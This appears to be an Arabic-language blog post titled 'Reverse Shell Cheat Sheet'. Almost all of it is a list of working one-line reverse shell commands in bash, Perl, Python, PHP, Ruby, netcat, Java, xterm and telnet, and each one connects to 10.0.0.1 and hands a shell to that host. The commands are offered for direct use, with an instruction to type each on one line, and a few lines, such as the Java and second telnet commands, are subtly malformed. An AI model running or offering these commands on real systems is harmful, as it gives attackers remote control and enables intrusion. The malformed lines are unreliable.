Reverse Shell Cheat Sheet
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
كل عام وانتم بخير واعاده الله علينا وعليكم بالصحة والسلامة
الموضوع يتطرق لعدة طرق للاتصال العكسي
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
كل عام وانتم بخير واعاده الله علينا وعليكم بالصحة والسلامة
الموضوع يتطرق لعدة طرق للاتصال العكسي
#BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#PERL
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'
#Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#NetCat
nc -e /bin/sh 10.0.0.1 1234
طريقة اخرى لاستخدام النت كات
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
#Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 |
while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
#Xtrem
xterm -display 10.0.0.1:1
#Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 4444 0/tmp/p
telnet 10.0.0.1 4444 | /bin/bash | 10.0.0.1 4445 # التنصت ايضا على البورت 4445
اي امر من الاوامر السابقة يكتب في سطر واحد فقط
الى هنا ينتهي الموضوع
اذا اعجبتك فاذكر الله وادع لي وان لم اعجبك فانتقدني لاصبح افضل
تعليقات
إرسال تعليق